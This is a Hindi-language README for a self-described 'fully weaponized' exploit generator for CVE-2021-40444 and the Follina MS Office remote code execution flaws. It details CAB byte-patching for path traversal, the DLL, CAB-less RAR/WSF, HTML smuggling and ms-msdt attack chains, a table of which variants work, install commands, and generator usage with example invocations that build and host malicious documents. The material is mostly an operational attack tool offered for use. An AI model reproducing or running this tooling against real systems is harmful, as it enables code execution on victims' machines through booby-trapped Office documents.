
CVE-2021-40444 - पूरी तरह से हथियारबद्ध Microsoft Office Word RCE एक्सप्लॉइट
CVE-2021-40444 (Microsoft Office Word रिमोट कोड निष्पादन) का शोषण करने के लिए दुर्भावनापूर्ण docx जनरेटर, मनमानी DLL फ़ाइलों के साथ काम करता है।
अब जनरेटर "Follina" हमले (ms-msdt का लाभ उठाते हुए) का शोषण करने के लिए आवश्यक दस्तावेज़ भी उत्पन्न कर सकता है।
हालाँकि इंटरनेट पर पहले से ही कई PoC मौजूद हैं, मैंने सोचा कि इस कमज़ोरी को हथियारबद्ध करने का प्रयास करूँ, क्योंकि जो उपलब्ध मिला उसमें साझा करने योग्य मूल्यवान जानकारी का अभाव था, साथ ही यह ध्यान में रखते हुए कि Microsoft ने पहले ही इस कमज़ोरी के लिए पैच जारी कर दिया है।
अब तक, पूरी तरह से काम करने वाला जनरेटर बनाने के लिए मैंने केवल ये मूल्यवान संसाधन देखे हैं:
उपरोक्त संसाधन पूरी श्रृंखला बनाने के लिए आवश्यक कई आवश्यकताओं की रूपरेखा देते हैं। बहुत अधिक अनावश्यक जानकारी दोहराने से बचने के लिए, मैं केवल प्रासंगिक विवरणों का सारांश दूँगा।
इस शोषण के काम करने के लिए काफी अनदेखी की गई आवश्यकताएँ हैं, जिसके कारण lockedbyte द्वारा वह जैसे अच्छे PoC भी ठीक से काम करने में विफल रहे।
शायद किसी ने कमज़ोरी का अधिक शोषण होने से बचाने के लिए उन्हें स्पष्ट रूप से "जारी" नहीं किया। लेकिन अब यह पैच हो चुका है, इसलिए विवरण जारी करने में ज्यादा परेशानी नहीं होनी चाहिए।
Will Dormann के इस ट्वीट के अनुसार, MS Word के भीतर "पूर्वावलोकन" ट्रिगर करने के लिए HTML का आकार कम से कम 4096 बाइट्स होना चाहिए।
निष्कर्षण त्रुटियों से बचने और ZipSlip प्राप्त करने के लिए CAB फ़ाइल को बाइट-पैच करने की आवश्यकता है:
filename.inf को ../filename.inf बनना चाहिएfilename.inf coffCabStart को संशोधित करना हैCFFOLDER.typeCompress CFFOLDER.coffCabStart को 3 बढ़ाया जाना चाहिए (जोड़े गए '../'' के कारण)CFFOLDER.cCfData CFFILE.cbFile पूरे CFHEADER.cbCabinet से अधिक होना चाहिएCFDATA.csum इन बाधाओं के पीछे कई कारण हैं, और मैंने उन सभी को गहराई से समझने के लिए पर्याप्त समय नहीं बिताया, लेकिन आइए सबसे महत्वपूर्ण देखें:
नोट1: Defender अब _IMAGE_DOS_HEADER.e_magic मान को हस्ताक्षर के रूप में उपयोग करके पता लगाता है कि CAB फ़ाइल में PE है या नहीं, संभावित रूप से CAB में PE फ़ाइलों को एम्बेड होने से रोकता है। क्या इस हस्ताक्षर को बायपास किया जा सकता है? मुझे यकीन नहीं है लेकिन, जैसा कि पहले देखा गया, यह एक पैच की गई कमज़ोरी है, इसलिए मैं इस पर अधिक समय बिताने की योजना नहीं बना रहा हूँ। जिज्ञासु पाठक पर इसे आगे विकसित करना निर्भर करता है।
नोट2: Microsoft पैच मनमाने URI स्कीमों को ब्लॉक करता है, जाहिर तौर पर ब्लैकलिस्ट दृष्टिकोण का उपयोग करके (यह केवल एक अनुमान है)
CVE-2021-40444 से जुड़ी मुख्य हमला श्रृंखला .cpl URI स्कीम के माध्यम से लोड किया गया DLL हमला है। उसका शोषण करने के लिए, एक हमलावर को विशेष रूप से तैयार की गई DLL उत्पन्न करने की आवश्यकता होती है। यदि आप इसे आज़माना चाहते हैं, तो मेरी evildll-gen स्क्रिप्ट आज़माएँ।
जैसा कि Max Maluin द्वारा नोट किया गया है, IE और संबंधित फ़ाइल एक्सटेंशन आधारित URI का दुरुपयोग करके कई फ़ाइल प्रकारों के साथ बातचीत करना संभव है। हालांकि यह IE का शोषण करने का एक अच्छा तरीका हो सकता है, लेकिन इसकी सीमाएँ हैं।
वास्तव में, यह ध्यान दिया जाना चाहिए कि शोषण में फ़ाइलें डाउनलोड करने के लिए उपयोग की जाने वाली विधि ActiveX नियंत्रण अपडेट पर आधारित है, और इसका उपयोग मनमानी फ़ाइलें डाउनलोड करने के लिए नहीं किया जा सकता है।
Microsoft दस्तावेज़ीकरण के अनुसार, codebase टैग केवल कुछ फ़ाइल प्रकारों की ओर इशारा कर सकता है: OCX, INF और CAB।
भले ही हम सीधे OCX या INF फ़ाइल डाउनलोड कर सकें, फिर भी हम सुनिश्चित नहीं हो सकते कि फ़ाइल सिस्टम के भीतर सही स्थान पर डाउनलोड होगी। cab शोषण के साथ, पथ ट्रैवर्सल का उपयोग करके .inf फ़ाइल को एक ज्ञात पथ पर ले जाना संभव है, लेकिन किसी भी अन्य मामले में फ़ाइल एक यादृच्छिक निर्देशिका में संग्रहीत होगी, जिससे इसे संदर्भित करना लगभग असंभव हो जाता है।
आज तक, मुझे CAB फ़ाइल के बिना डाउनलोड और निष्पादन को श्रृंखलाबद्ध करने का कोई तरीका नहीं मिला।
नोट: अकेले IE की बात करें तो, HTML स्मगलिंग कमज़ोरी का शोषण करने का एक संभावित परिदृश्य हो सकता है।
यह तकनीक सबसे पहले Eduardo Braun द्वारा Twitter पर प्रकट की गई थी और इस पेपर में आगे समझाई गई है।
कृपया ध्यान दें कि इस तकनीक का उपयोग करते समय, हमला श्रृंखला थोड़ी अलग है। इस हमले के लिए उपयोगकर्ता को एक विशेष रूप से तैयार की गई RAR फ़ाइल डाउनलोड करनी होती है, जो एक वैध WSF स्क्रिप्ट और एक वैध RAR फ़ाइल को श्रृंखलाबद्ध करके प्राप्त की जाती है। एक बार खोलने पर, RAR में एक DOCX होगा जिसमें एक HTML का संदर्भ होगा, जो बदले में RAR फ़ाइल को WSF स्क्रिप्ट के रूप में लोड करने का प्रयास करेगा।
संक्षेप में:
जनरेटर उपयोगिता वर्तमान में निम्नलिखित हमलों को पुन: उत्पन्न कर सकती है:
| हमला | HTML टेम्पलेट | लक्ष्य | वितरण विधि | निष्पादन विधि | काम करता है |
|---|---|---|---|---|---|
| हमले का मूल संस्करण | cab-orig-* | WORD | DOCX | CAB + DLL | हाँ |
| j00sean केवल-IE हमला | cab-orig-j00san | IE | HTML | CAB + DLL | हाँ |
| DLL के बिना मेरा संस्करण | cab-uri-* | WORD | DOCX | CAB + JS/VBS | नहीं1 |
| Eduardo B. द्वारा RAR का उपयोग करते हुए "CABless" हमला | cabless-rar-* | WORD | RAR | WSF | हाँ |
| संशोधित j00sean हमला + HTML स्मगलिंग | cabless-smuggling-* | IE | HTML | JS/VBS | हाँ2 |
| Follina हमला | cabless-msdt-* | WORD | DOCX/RTF | MSDT + PS | हाँ3 |
1कुछ वातावरणों में CAB ठीक से डाउनलोड नहीं होता है
2IE पर फ़ाइल डाउनलोड करने के लिए उपयोगकर्ता को "सहेजें" पर क्लिक करना होता है
3वास्तव में सभी Windows/MS Word संस्करणों पर काम नहीं करता है
उपयोगिता cab_parser.py का उपयोग शोषण फ़ाइल के हेडर देखने के लिए किया जा सकता है, लेकिन इसे पूर्ण पार्सर न मानें। यह एक बहुत ही त्वरित और सरल CAB हेडर व्यूअर है जिसे मैंने यह समझने के लिए विकसित किया था कि क्या हो रहा है।
जनरेटर Windows पर काम करने के लिए डिज़ाइन किया गया है, क्योंकि यह makecab उपयोगिता का उपयोग करता है। उपयोग से पहले, आवश्यक निर्भरताएँ स्थापित करना सुनिश्चित करें:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
जनरेटर का उपयोग करना बहुत आसान है, और भले ही इसे कई अलग-अलग पेलोड और Windows संस्करणों के साथ परीक्षण किया गया है, यह पूर्ण रूप से विफल-रहित नहीं है। मुझे विभिन्न Windows बिल्डों में अलग-अलग व्यवहार मिल रहे हैं। जैसे ही मेरे पास साझा करने के लिए अधिक विवरण होंगे, मैं उन्हें यहाँ पोस्ट करूँगा।
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
नोट: पोर्ट URL द्वारा चुना जाता है, और शोषण पेलोड फ़ाइल एक्सटेंशन के आधार पर उत्पन्न होता है
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert